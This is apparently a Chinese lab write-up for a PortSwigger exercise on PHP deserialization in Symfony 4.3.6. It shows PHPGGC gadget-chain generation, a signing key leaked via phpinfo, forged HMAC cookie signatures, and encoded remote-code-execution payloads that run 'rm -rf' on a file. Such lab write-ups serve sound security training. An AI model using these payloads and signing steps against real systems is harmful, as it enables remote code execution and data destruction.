从业者-预构建的小工具链-PHP反序列化
# 实验室:通过预构建的小工具链利用PHP反序列化
# 题目
此实验室使用基于序列化的会话机制,并具有签名 cookie。它还使用了一个通用的 PHP 框架。虽然你没有源代码的访问权限,但你仍然可以使用 预构建的小工具链 来利用此实验室中的不安全反序列化。
若要解决实验室问题,请确定目标框架,然后使用第三方工具生成 包含远程代码执行有效负载 的恶意序列化对象。然后,研究如何生成包含恶意对象的有效签名 cookie。最后,将此对象传递到网站中,以从 Carlos 的家目录中删除morale.txt
文件。
你可以使用以下凭据登录到自己的帐户:wiener:peter
- name: 实验室-从业者
desc: 通过预构建的小工具链利用PHP反序列化 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
# 下载工具
理论学习文章中提到了一个工具:PHPGGC (opens new window)
直接下载整个项目的源文件。
该工具主要依靠根目录下的phpggc
可执行文件来运行,它需要 PHP 运行环境。
php phpggc
可以直接使用 Kali Linux 来运行该文件,因为 kali 预装了 PHP 运行环境。
./phpggc
如果你嫌 GitHub 下载太麻烦,你也可以通过软件包的方式一键下载和部署。
apt-get install phpggc
phpggc
2
# 开始实验
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
然后还是老一套流程,登录并捕获请求数据包,找到 Cookie 中经过加密的值。
%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJzM3M2dmRnamdzbzRmN2s2MDRqeGNoajRmbGVuemd5ZCI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%224d2a5f2cf82178688328392f24a6e06a215ade12%22%7D
URL 解码之后是一段 JSON 数据,这和之前的实验不太一样。
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJzM3M2dmRnamdzbzRmN2s2MDRqeGNoajRmbGVuemd5ZCI7fQ==","sig_hmac_sha1":"4d2a5f2cf82178688328392f24a6e06a215ade12"}
解密token
参数中的值,是一段眼熟的 PHP 序列化对象。
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"s3s6vdgjgso4f7k604jxchj4flenzgyd";}
# 确定站点框架
题目中让我们确定目标站点所使用的框架,该如何确定呢?
很简单,随意修改 Cookie 中的值,尝试在反序列化的过程中使网站报错(这在“服务端主题-信息泄露”中曾经学过)。
发现关键文本:
Symfony Version: 4.3.6
Symfony 版本 4.3.6
运行phpggc
工具,看看是否有关于 Symfony 框架的信息:
phpggc -l
phpggc -l symfony
2
3
发现有效信息,适用于 Symfony 4.3.6 版本的工具链有三个:Symfony/RCE4、Symfony/RCE7 和 Symfony/RCE8。
# 构造恶意序列化对象=第一次攻击尝试
phpggc
有三种 代码/命令执行 的格式:
- RCE (Command):
./phpggc Symfony/RCE1 id
- RCE (PHP code):
./phpggc Symfony/RCE2 'phpinfo();'
- RCE (Function call):
./phpggc Symfony/RCE4 system id
你应该已经看出来了
- “Command” 适用于命令执行漏洞,载荷后面直接跟随要执行的命令
id
- “PHP code” 适用于代码执行漏洞,载荷后面跟的是 PHP 代码
- “Function call” 适用于代码执行漏洞,载荷后面跟的是 PHP 函数以及参数
而适用于 Symfony 4.3.6 版本的三个工具链都是 “Function call”(函数调用)。
运行以下命令,生成三个不同的恶意 PHP 序列化对象:
phpggc Symfony/RCE4 system "rm -rf /home/carlos/morale.txt"
phpggc Symfony/RCE7 system "rm -rf /home/carlos/morale.txt"
phpggc Symfony/RCE8 system "rm -rf /home/carlos/morale.txt"
2
3
工具链Symfony/RCE7
构造出来的数据最短,就用它来完成实验吧。
O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2:{s:57:"Symfony\Component\Cache\Adapter\TagAwareAdapterdeferred";s:30:"rm -rf /home/carlos/morale.txt";s:61:"Symfony\Component\Cache\Adapter\TagAwareAdaptergetTagsByKey";s:6:"system";}
复制Symfony/RCE7
所生成的载荷,然后在 BurpSuite 的 “Decoder” 功能模块中对其进行 Base64 编码。记住这个 BurpSuite 的编码
将经过编码的对象填入token
参数中,然后对整个 JSON 数据进行 URL 编码。
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyZGVmZXJyZWQiO3M6MzA6InJtIC1yZiAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo2MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXJnZXRUYWdzQnlLZXkiO3M6Njoic3lzdGVtIjt9","sig_hmac_sha1":"4d2a5f2cf82178688328392f24a6e06a215ade12"}
将经过 URL 编码的 JSON 数据覆盖到原有 Cookie 当中,刷新网页。
反序列化出现错误 “签名不正确”。
# 构造cookie签名
看着 JSON 数据中的sig_hmac_sha1
,你会想到什么?这是签名?签的是什么?
{"token":"......","sig_hmac_sha1":"4d2a5f2cf82178688328392f24a6e06a215ade12"}
而在 PHP 中,刚好就有一个函数hash_hmac()
可用于对数据进行签名,但是该函数需要三个参数。
- 算法,已知。JSON 数据中已经明确标注了是
sha1
算法 - 字符串,已知。大概率是对
token
参数值进行签名 - 密钥,未知。哪里找?
hash_hmac("算法", "字符串", "密钥")
在实验室中,如果你查看网页源代码,则会发现一个用于 debug 的 phpinfo 文件。
访问/cgi-bin/phpinfo.php
即可看到 PHP 环境信息。
我在页面中搜索 “key” 关键字,还真让我找到了一串可疑的密钥j54jhp3rayyacc9k1u35z8iau3esgqot
。
我使用hash_hmac()
函数 + sha1
算法 + 最初的token
参数值 + phpinfo
中得到的可疑密钥,编写以下代码:
<?php
$sign = hash_hmac("sha1", "Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJzM3M2dmRnamdzbzRmN2s2MDRqeGNoajRmbGVuemd5ZCI7fQ==", "j54jhp3rayyacc9k1u35z8iau3esgqot");
echo $sign;
?>
2
3
4
运行过后,获得了签名4d2a5f2cf82178688328392f24a6e06a215ade12
,与最初的签名进行对比,完全相同!
{"token":"......","sig_hmac_sha1":"4d2a5f2cf82178688328392f24a6e06a215ade12"}
至此,成功构造了正确的 Cookie 签名。
# 恶意序列化对象+恶意签名=第二次攻击尝试
对Symfony/RCE7
生成出来的恶意序列化对象进行签名:
<?php
$sign = hash_hmac("sha1", "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyZGVmZXJyZWQiO3M6MzA6InJtIC1yZiAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo2MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXJnZXRUYWdzQnlLZXkiO3M6Njoic3lzdGVtIjt9", "j54jhp3rayyacc9k1u35z8iau3esgqot");
echo $sign;
?>
2
3
4
得到签名值0d294facd379f3181d94833c3a4cf620aa70267a
,一起替换到 JSON 数据中:
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyZGVmZXJyZWQiO3M6MzA6InJtIC1yZiAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo2MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXJnZXRUYWdzQnlLZXkiO3M6Njoic3lzdGVtIjt9","sig_hmac_sha1":"0d294facd379f3181d94833c3a4cf620aa70267a"}
对 JSON 数据进行 URL 编码:
%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyZGVmZXJyZWQiO3M6MzA6InJtIC1yZiAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7czo2MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXJnZXRUYWdzQnlLZXkiO3M6Njoic3lzdGVtIjt9%22%2C%22sig_hmac_sha1%22%3A%220d294facd379f3181d94833c3a4cf620aa70267a%22%7D
覆盖原有 Cookie,刷新网页。
成......功报了个不同的错?
# 坑点=最终攻击尝试
BurpSuite 的编码器有毒!!!Base64 编码出来的值不一样!!!
一定一定要使用系统自带的编码:
phpggc Symfony/RCE7 system "rm -rf /home/carlos/morale.txt" | base64 -w 0
BurpSuite 的 Base64 编码是以O3M6Njoic3lzdGVtIjt9
结尾的,和系统编出来的值确实不一样:
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IjtzOjYxOiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIAZ2V0VGFnc0J5S2V5IjtzOjY6InN5c3RlbSI7fQo=
然后对载荷进行签名:
<?php
$sign = hash_hmac("sha1", "<经过Base64编码的恶意序列化对象>", "j54jhp3rayyacc9k1u35z8iau3esgqot");
echo $sign;
?>
2
3
4
将载荷与签名值一起放入 JSON 数据中:
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IjtzOjYxOiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIAZ2V0VGFnc0J5S2V5IjtzOjY6InN5c3RlbSI7fQo=","sig_hmac_sha1":"4c26dc56b898527f0f99effe785c4479ecb8a3e6"}
URL 编码:
%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IjtzOjYxOiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIAZ2V0VGFnc0J5S2V5IjtzOjY6InN5c3RlbSI7fQo%3d%22%2C%22sig_hmac_sha1%22%3A%224c26dc56b898527f0f99effe785c4479ecb8a3e6%22%7D
覆盖原有 Cookie,刷新网页。
攻击成功,实验完成。